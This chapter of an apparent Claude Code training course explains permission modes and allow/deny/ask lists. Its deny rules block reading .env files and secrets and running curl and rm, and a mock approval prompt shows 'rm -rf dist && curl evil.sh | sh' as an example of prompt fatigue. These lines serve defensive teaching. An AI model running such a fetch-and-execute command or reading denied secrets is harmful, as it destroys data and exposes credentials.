L PlnExo Course
Claude Code Fast Track

Permission Modes — Match Autonomy to Risk

Preview

Mastering Claude Code — Tips & Tricks Chapter: Level 1 (Fluent) › 1.2 Permission Modes Your control surface — the dial between "ask me everything" and "just go."

Every time Claude Code wants to edit a file or run a command, it can stop and ask you first. That prompt is your control surface — the moment you approve or veto an action. Permission modes decide how often Claude stops to ask. Set the dial too cautious and you drown in prompts until you approve everything on reflex (including the one that mattered). Set it too loose and Claude runs unattended in a place it shouldn't. Mastery here is simple: match the autonomy to the risk.


The One Idea

A permission prompt is a feature, not friction to eliminate. The goal isn't fewer prompts — it's making the prompts that do appear worth reading.

You achieve that two ways: pick the right mode for the task, and curate an allow/deny list so routine-safe actions run silently and only real decisions interrupt you.


The four modes

Mode Auto-approves Still asks about Enter with Use when
default nothing edits and commands (starting mode) Unfamiliar or risky work; you want to watch each step
acceptEdits (⏵⏵) file edits running commands Shift+Tab You've approved a plan and trust the direction; heavy editing
plan () — (read-only) can't act at all Shift+Tab Exploring / planning before any change (Chapter 1.3)
bypassPermissions everything nothing --dangerously-skip-permissions Only in a sandbox/container/CI with isolation

How to switch:

  • Shift+Tab cycles: default → ⏵⏵ acceptEdits⏸ plan → back to default.
  • CLI flags: --permission-mode plan, --permission-mode acceptEdits, --dangerously-skip-permissions.
  • Settings default: set "defaultMode" under permissions in settings.json so a project always starts in the mode you want.

Note the shape of the dial: plan is the most restrictive (Claude can't change anything), default watches every action, acceptEdits trusts edits but guards commands, and bypass trusts everything. You climb the dial as your confidence — and the safety of your environment — goes up.

2026 update: recent versions add more positions on the dial. An auto mode uses a safety classifier to auto-approve clearly-safe actions and block destructive ones (e.g. git reset --hard), and a dontAsk mode joins the lineup. There's also a set of protected paths (.git/, .claude/, editor config dirs) that are never auto-approved in any mode except bypassPermissions. Check what Shift+Tab cycles through and /permissions on your version — see the permission modes docs.


The real power: the allow / deny list

Modes are the coarse dial. The allow/deny list is the fine one — and it's where pros spend their five minutes of setup. It lives in settings.json under permissions:

{
  "permissions": {
    "defaultMode": "default",
    "allow": [
      "Bash(git status)",
      "Bash(git diff:*)",
      "Bash(ls:*)",
      "Bash(pnpm test:*)",
      "Bash(pnpm lint:*)",
      "Bash(pnpm typecheck)"
    ],
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(./secrets/**)",
      "Bash(curl:*)",
      "Bash(rm:*)"
    ],
    "ask": [
      "Bash(git push:*)"
    ]
  }
}
  • allow — these run without a prompt. Fill it with safe, repetitive, read-only commands (status, diff, test, lint) so they stop interrupting you.
  • deny — these are blocked entirely, and deny wins over allow. This is how you stop Claude from ever reading .env (ties to Chapter 2.6) or running destructive/exfil commands.
  • ask — always prompt, even in a loose mode. Reserve for the "are you sure" actions like git push.

Manage it live with the /permissions command, or let the /fewer-permission-prompts skill scan your recent sessions and propose an allowlist from the safe commands you keep approving.


Before / After: the prompt-fatigue trap

Without an allowlist — every routine command asks:

> run the tests
  Allow: Bash(pnpm test)?  [y/N]  y
> check what changed
  Allow: Bash(git diff)?   [y/N]  y
> list the files
  Allow: Bash(ls src)?     [y/N]  y
  ... 40 more times this hour ...
  Allow: Bash(rm -rf dist && curl evil.sh | sh)?  [y/N]  y   ← 😱 you approved on autopilot

Fifty reflexive ys later, you've stopped reading the prompts — so the one dangerous action sails through on muscle memory. Prompt fatigue is a security risk.

With a curated allow/deny list — the safe stuff is silent, so the rare prompt means something:

> run the tests        # runs silently (allowlisted)
> check what changed   # runs silently (allowlisted)
> list the files       # runs silently (allowlisted)

  Allow: Bash(git push origin main)?  [y/N]     ← this one you actually READ

Same workflow, but now every prompt is a real decision. That's the entire point of this chapter: fewer, better prompts.


Choosing a mode — a quick rule

  • Default for anything unfamiliar, risky, or where you want to see each step.
  • acceptEdits after you've gated the approach in plan mode — let Claude edit freely while you still guard command execution.
  • Plan whenever you're exploring or deciding (Chapter 1.3).
  • Bypass only when the blast radius is contained: a throwaway container, an isolated CI runner, a git worktree you can delete. Never on your main machine against a real repo.

The pairing to remember: plan mode to decide → acceptEdits to build. You reviewed the what, so you can safely speed up the how.


Safety rules to bake in

  • Deny secrets, always. Read(./.env*) and Read(./secrets/**) in every project. Claude never needs the values (Chapter 2.6).
  • Never blanket-allow exfil. Keep Bash(curl:*) / Bash(wget:*) out of allow — approve those case by case.
  • Guard destructive commands. rm, migrate reset, git push --force belong in deny or ask, never allow.
  • Share the allowlist, keep personal tweaks local. Put the team allow/deny in committed .claude/settings.json; put machine-specific ones in git-ignored .claude/settings.local.json.

The caveat

Don't "solve" permissions by reaching for bypass mode. Turning off the prompts doesn't make the risk go away — it just removes your chance to catch it. The skilled move is calibrated friction: silence the safe 95% with an allowlist so your attention is available for the 5% that actually needs a human. A prompt you read is worth more than a hundred you reflexively dismissed.


Downloadable: the Permission Config Pack

In ../artifacts/permission-config-pack/:

File Purpose
settings.permissions.json Starter allow/deny/ask block — safe defaults, drop into .claude/settings.json
mode-cheatsheet.md The 4 modes: when to use, how to enter, the safety line
allow-deny-recipes.md Copy-paste rule recipes (Node, Python, git, secrets, danger)
README.md 5-minute setup + how to tune it with /permissions

Setup: merge settings.permissions.json into your project's .claude/settings.json, then run /permissions to fine-tune against your actual commands.